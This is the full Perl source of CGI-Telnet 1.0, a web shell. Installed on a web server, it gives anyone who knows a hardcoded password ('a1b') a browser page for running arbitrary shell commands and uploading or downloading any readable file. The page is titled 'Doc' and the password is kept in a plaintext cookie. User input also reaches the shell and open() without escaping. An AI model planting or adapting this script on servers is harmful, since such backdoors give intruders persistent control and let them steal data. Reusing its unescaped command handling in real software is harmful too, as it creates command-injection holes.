#!/usr/bin/perl
#------------------------------------------------------------------------------
# Copyright and Licence
#------------------------------------------------------------------------------
# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server
#
# Copyright (C) 2001 Rohitab Batra
# Permission is granted to use, distribute and modify this script so long
# as this copyright notice is left intact. If you make changes to the script
# please document them and inform me. If you would like any changes to be made
# in this script, you can e-mail me.
#
# Author: Rohitab Batra
# Author e-mail: rohitab@rohitab.com
# Author Homepage: http://www.rohitab.com/
# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html
# Product Support: http://www.rohitab.com/support/
# Discussion Forum: http://www.rohitab.com/discuss/
# Mailing List: http://www.rohitab.com/mlist/
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Installation
#------------------------------------------------------------------------------
# To install this script
#
# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on
#    your server. For most servers, you may not need to modify this.
# 2. Change the password in the Configuration section below.
# 3. If you're running the script under Windows NT, set $WinNT = 1 in the
#    Configuration Section below.
# 4. Upload the script to a directory on your server which has permissions to
#    execute CGI scripts. This is usually cgi-bin. Make sure that you upload
#    the script in ASCII mode.
# 5. Change the permission (CHMOD) of the script to 755.
# 6. Open the script in your web browser. If you uploaded the script in
#    cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl
# 7. Login using the password that you specified in Step 2.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# Configuration: You need to change only $Password and $WinNT. The other
# values should work fine for most systems.
#------------------------------------------------------------------------------
$Password = "a1b";		# Change this. You will need to enter this
				# to login.

$WinNT = 0;	# You need to change the value of this to 1 if
				# you're running this script on a Windows NT
				# machine. If you're running it on Unix, you
				# can leave the value as it is.

$NTCmdSep = "&";		# This character is used to seperate 2 commands
				# in a command line on Windows NT.

$UnixCmdSep = ";";		# This character is used to seperate 2 commands
				# in a command line on Unix.

$CommandTimeoutDuration = 10;	# Time in seconds after commands will be killed
				# Don't set this to a very large value. This is
				# useful for commands that may hang or that
				# take very long to execute, like "find /".
				# This is valid only on Unix servers. It is
				# ignored on NT Servers.

$ShowDynamicOutput = 1;		# If this is 1, then data is sent to the
				# browser as soon as it is output, otherwise
				# it is buffered and send when the command
				# completes. This is useful for commands like
				# ping, so that you can see the output as it
				# is being generated.

# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!

$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? "cd" : "pwd");
$PathSep = ($WinNT ? "\\" : "/");
$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");

#------------------------------------------------------------------------------
# Reads the input sent by the browser and parses the input variables. It
# parses GET, POST and multipart/form-data that is used for uploading files.
# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
# Other variables can be accessed using $in{'var'}, where var is the name of
# the variable. Note: Most of the code in this function is taken from other CGI
# scripts.
#------------------------------------------------------------------------------
sub ReadParse 
{
	local (*in) = @_ if @_;
	local ($i, $loc, $key, $val);
	
	$MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;

	if($ENV{'REQUEST_METHOD'} eq "GET")
	{
		$in = $ENV{'QUERY_STRING'};
	}
	elsif($ENV{'REQUEST_METHOD'} eq "POST")
	{
		binmode(STDIN) if $MultipartFormData & $WinNT;
		read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
	}

	# handle file upload data
	if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
	{
		$Boundary = '--'.$1; # please refer to RFC1867 
		@list = split(/$Boundary/, $in); 
		$HeaderBody = $list[1];
		$HeaderBody =~ /\r\n\r\n|\n\n/;
		$Header = $`;
		$Body = $';
 		$Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
		$in{'filedata'} = $Body;
		$Header =~ /filename=\"(.+)\"/; 
		$in{'f'} = $1; 
		$in{'f'} =~ s/\"//g;
		$in{'f'} =~ s/\s//g;

		# parse trailer
		for($i=2; $list[$i]; $i++)
		{ 
			$list[$i] =~ s/^.+name=$//;
			$list[$i] =~ /\"(\w+)\"/;
			$key = $1;
			$val = $';
			$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
			$val =~ s/%(..)/pack("c", hex($1))/ge;
			$in{$key} = $val; 
		}
	}
	else # standard post data (url encoded, not multipart)
	{
		@in = split(/&/, $in);
		foreach $i (0 .. $#in)
		{
			$in[$i] =~ s/\+/ /g;
			($key, $val) = split(/=/, $in[$i], 2);
			$key =~ s/%(..)/pack("c", hex($1))/ge;
			$val =~ s/%(..)/pack("c", hex($1))/ge;
			$in{$key} .= "\0" if (defined($in{$key}));
			$in{$key} .= $val;
		}
	}
}

#------------------------------------------------------------------------------
# Prints the HTML Page Header
# Argument 1: Form item name to which focus should be set
#------------------------------------------------------------------------------
sub PrintPageHeader
{
	$EncodedCurrentDir = $CurrentDir;
	$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
	print "Content-type: text/html\n\n";
	print <<END;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Doc</title>
$HtmlMetaHeader
</head>
<body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
<table border="1" width="100%" cellspacing="0" cellpadding="2">
<tr>
<td bgcolor="#C2BFA5" bordercolor="#000080" align="center">
<b><font color="#000080" size="2">#</font></b></td>
<td bgcolor="#000080"><font face="Verdana" size="2" color="#FFFFFF"><b>Connected to $ServerName</b></font></td>
</tr>
<tr>
<td colspan="2" bgcolor="#C2BFA5"><font face="Verdana" size="2">
<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> | 
<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> |
<a href="$ScriptLocation?a=logout">Disconnect</a> |
<a href="http://www.rohitab.com/cgiscripts/cgitelnet.html">Help</a>
</font></td>
</tr>
</table>
<font color="#C0C0C0" size="3">
END
}

#------------------------------------------------------------------------------
# Prints the Login Screen
#------------------------------------------------------------------------------
sub PrintLoginScreen
{
	$Message = q$<pre></pre>$;
#'
	print <<END;
<code>
Trying $ServerName...<br>
Connected to $ServerName<br>
Escape character is ^]
<code>$Message
END
}

#------------------------------------------------------------------------------
# Prints the message that informs the user of a failed login
#------------------------------------------------------------------------------
sub PrintLoginFailedMessage
{
	print <<END;
<code>
<br>login: admin<br>
password:<br>
Login incorrect<br><br>
</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form for logging in
#------------------------------------------------------------------------------
sub PrintLoginForm
{
	print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="login">
login: admin<br>
password:<input type="password" name="p">
<input type="submit" value="Enter">
</form>
</code>
END
}

#------------------------------------------------------------------------------
# Prints the footer for the HTML Page
#------------------------------------------------------------------------------
sub PrintPageFooter
{
	print "</font></body></html>";
}

#------------------------------------------------------------------------------
# Retreives the values of all cookies. The cookies can be accesses using the
# variable $Cookies{''}
#------------------------------------------------------------------------------
sub GetCookies
{
	@httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
	foreach $cookie(@httpcookies)
	{
		($id, $val) = split(/=/, $cookie);
		$Cookies{$id} = $val;
	}
}

#------------------------------------------------------------------------------
# Prints the screen when the user logs out
#------------------------------------------------------------------------------
sub PrintLogoutScreen
{
	print "<code>Connection closed by foreign host.<br><br></code>";
}

#------------------------------------------------------------------------------
# Logs out the user and allows the user to login again
#------------------------------------------------------------------------------
sub PerformLogout
{
	print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
	&PrintPageHeader("p");
	&PrintLogoutScreen;
	&PrintLoginScreen;
	&PrintLoginForm;
	&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called to login the user. If the password matches, it
# displays a page that allows the user to run commands. If the password doens't
# match or if no password is entered, it displays a form that allows the user
# to login
#------------------------------------------------------------------------------
sub PerformLogin 
{
	if($LoginPassword eq $Password) # password matched
	{
		print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
		&PrintPageHeader("c");
		&PrintCommandLineInputForm;
		&PrintPageFooter;
	}
	else # password didn't match
	{
		&PrintPageHeader("p");
		&PrintLoginScreen;
		if($LoginPassword ne "") # some password was entered
		{
			&PrintLoginFailedMessage;
		}
		&PrintLoginForm;
		&PrintPageFooter;
	}
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to enter commands
#------------------------------------------------------------------------------
sub PrintCommandLineInputForm
{
	$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
	print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="command">
<input type="hidden" name="d" value="$CurrentDir">
$Prompt
<input type="text" name="c">
<input type="submit" value="Enter">
</form>
</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to download files
#------------------------------------------------------------------------------
sub PrintFileDownloadForm
{
	$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
	print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="download">
$Prompt download<br><br>
Filename: <input type="text" name="f" size="35"><br><br>
Download: <input type="submit" value="Begin">
</form>
</code>
END
}

#------------------------------------------------------------------------------
# Prints the HTML form that allows the user to upload files
#------------------------------------------------------------------------------
sub PrintFileUploadForm
{
	$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
	print <<END;
<code>
<form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
$Prompt upload<br><br>
Filename: <input type="file" name="f" size="35"><br><br>
Options: &nbsp;<input type="checkbox" name="o" value="overwrite">
Overwrite if it Exists<br><br>
Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="upload">
</form>
</code>
END
}

#------------------------------------------------------------------------------
# This function is called when the timeout for a command expires. We need to
# terminate the script immediately. This function is valid only on Unix. It is
# never called when the script is running on NT.
#------------------------------------------------------------------------------
sub CommandTimeout
{
	if(!$WinNT)
	{
		alarm(0);
		print <<END;
</xmp>
<code>
Command exceeded maximum time of $CommandTimeoutDuration second(s).
<br>Killed it!
<code>
END
		&PrintCommandLineInputForm;
		&PrintPageFooter;
		exit;
	}
}

#------------------------------------------------------------------------------
# This function is called to execute commands. It displays the output of the
# command and allows the user to enter another command. The change directory
# command is handled differently. In this case, the new directory is stored in
# an internal variable and is used each time a command has to be executed. The
# output of the change directory command is not displayed to the users
# therefore error messages cannot be displayed.
#------------------------------------------------------------------------------
sub ExecuteCommand
{
	if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
	{
		# we change the directory internally. The output of the
		# command is not displayed.
		
		$OldDir = $CurrentDir;
		$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
		chop($CurrentDir = `$Command`);
		&PrintPageHeader("c");
		$Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
		print "<code>$Prompt $RunCommand</code>";
	}
	else # some other command, display the output
	{
		&PrintPageHeader("c");
		$Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
		print "<code>$Prompt $RunCommand</code><xmp>";
		$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
		if(!$WinNT)
		{
			$SIG{'ALRM'} = \&CommandTimeout;
			alarm($CommandTimeoutDuration);
		}
		if($ShowDynamicOutput) # show output as it is generated
		{
			$|=1;
			$Command .= " |";
			open(CommandOutput, $Command);
			while(<CommandOutput>)
			{
				$_ =~ s/(\n|\r\n)$//;
				print "$_\n";
			}
			$|=0;
		}
		else # show output after command completes
		{
			print `$Command`;
		}
		if(!$WinNT)
		{
			alarm(0);
		}
		print "</xmp>";
	}
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function displays the page that contains a link which allows the user
# to download the specified file. The page also contains a auto-refresh
# feature that starts the download automatically.
# Argument 1: Fully qualified filename of the file to be downloaded
#------------------------------------------------------------------------------
sub PrintDownloadLinkPage
{
	local($FileUrl) = @_;
	if(-e $FileUrl) # if the file exists
	{
		# encode the file link so we can send it to the browser
		$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
		$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
		$HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
		&PrintPageHeader("c");
		print <<END;
<code>
Sending File $TransferFile...<br>
If the download does not start automatically,
<a href="$DownloadLink">Click Here</a>.
</code>
END
		&PrintCommandLineInputForm;
		&PrintPageFooter;
	}
	else # file doesn't exist
	{
		&PrintPageHeader("f");
		print "<code>Failed to download $FileUrl: $!</code>";
		&PrintFileDownloadForm;
		&PrintPageFooter;
	}
}

#------------------------------------------------------------------------------
# This function reads the specified file from the disk and sends it to the
# browser, so that it can be downloaded by the user.
# Argument 1: Fully qualified pathname of the file to be sent.
#------------------------------------------------------------------------------
sub SendFileToBrowser
{
	local($SendFile) = @_;
	if(open(SENDFILE, $SendFile)) # file opened for reading
	{
		if($WinNT)
		{
			binmode(SENDFILE);
			binmode(STDOUT);
		}
		$FileSize = (stat($SendFile))[7];
		($Filename = $SendFile) =~  m!([^/^\\]*)$!;
		print "Content-Type: application/x-unknown\n";
		print "Content-Length: $FileSize\n";
		print "Content-Disposition: attachment; filename=$1\n\n";
		print while(<SENDFILE>);
		close(SENDFILE);
	}
	else # failed to open file
	{
		&PrintPageHeader("f");
		print "<code>Failed to download $SendFile: $!</code>";
		&PrintFileDownloadForm;
		&PrintPageFooter;
	}
}


#------------------------------------------------------------------------------
# This function is called when the user downloads a file. It displays a message
# to the user and provides a link through which the file can be downloaded.
# This function is also called when the user clicks on that link. In this case,
# the file is read and sent to the browser.
#------------------------------------------------------------------------------
sub BeginDownload
{
	# get fully qualified path of the file to be downloaded
	if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
		(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
	{
		$TargetFile = $TransferFile;
	}
	else # path is relative
	{
		chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
		$TargetFile .= $PathSep.$TransferFile;
	}

	if($Options eq "go") # we have to send the file
	{
		&SendFileToBrowser($TargetFile);
	}
	else # we have to send only the link page
	{
		&PrintDownloadLinkPage($TargetFile);
	}
}

#------------------------------------------------------------------------------
# This function is called when the user wants to upload a file. If the
# file is not specified, it displays a form allowing the user to specify a
# file, otherwise it starts the upload process.
#------------------------------------------------------------------------------
sub UploadFile
{
	# if no file is specified, print the upload form again
	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileUploadForm;
		&PrintPageFooter;
		return;
	}
	&PrintPageHeader("c");

	# start the uploading process
	print "<code>Uploading $TransferFile to $CurrentDir...<br>";

	# get the fullly qualified pathname of the file to be created
	chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
	$TransferFile =~ m!([^/^\\]*)$!;
	$TargetName .= $PathSep.$1;

	$TargetFileSize = length($in{'filedata'});
	# if the file exists and we are not supposed to overwrite it
	if(-e $TargetName && $Options ne "overwrite")
	{
		print "Failed: Destination file already exists.<br>";
	}
	else # file is not present
	{
		if(open(UPLOADFILE, ">$TargetName"))
		{
			binmode(UPLOADFILE) if $WinNT;
			print UPLOADFILE $in{'filedata'};
			close(UPLOADFILE);
			print "Transfered $TargetFileSize Bytes.<br>";
			print "File Path: $TargetName<br>";
		}
		else
		{
			print "Failed: $!<br>";
		}
	}
	print "</code>";
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}

#------------------------------------------------------------------------------
# This function is called when the user wants to download a file. If the
# filename is not specified, it displays a form allowing the user to specify a
# file, otherwise it displays a message to the user and provides a link
# through  which the file can be downloaded.
#------------------------------------------------------------------------------
sub DownloadFile
{
	# if no file is specified, print the download form again
	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileDownloadForm;
		&PrintPageFooter;
		return;
	}
	
	# get fully qualified path of the file to be downloaded
	if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
		(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
	{
		$TargetFile = $TransferFile;
	}
	else # path is relative
	{
		chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
		$TargetFile .= $PathSep.$TransferFile;
	}

	if($Options eq "go") # we have to send the file
	{
		&SendFileToBrowser($TargetFile);
	}
	else # we have to send only the link page
	{
		&PrintDownloadLinkPage($TargetFile);
	}
}

#------------------------------------------------------------------------------
# Main Program - Execution Starts Here
#------------------------------------------------------------------------------
&ReadParse;
&GetCookies;

$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};

$Action = $in{'a'};
$Action = "login" if($Action eq ""); # no action specified, use default

# get the directory in which the commands will be executed
$CurrentDir = $in{'d'};
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");

$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;

if($Action eq "login" || !$LoggedIn) # user needs/has to login
{
	&PerformLogin;
}
elsif($Action eq "command") # user wants to run a command
{
	&ExecuteCommand;
}
elsif($Action eq "upload") # user wants to upload a file
{
	&UploadFile;
}
elsif($Action eq "download") # user wants to download a file
{
	&DownloadFile;
}
elsif($Action eq "logout") # user wants to logout
{
	&PerformLogout;
}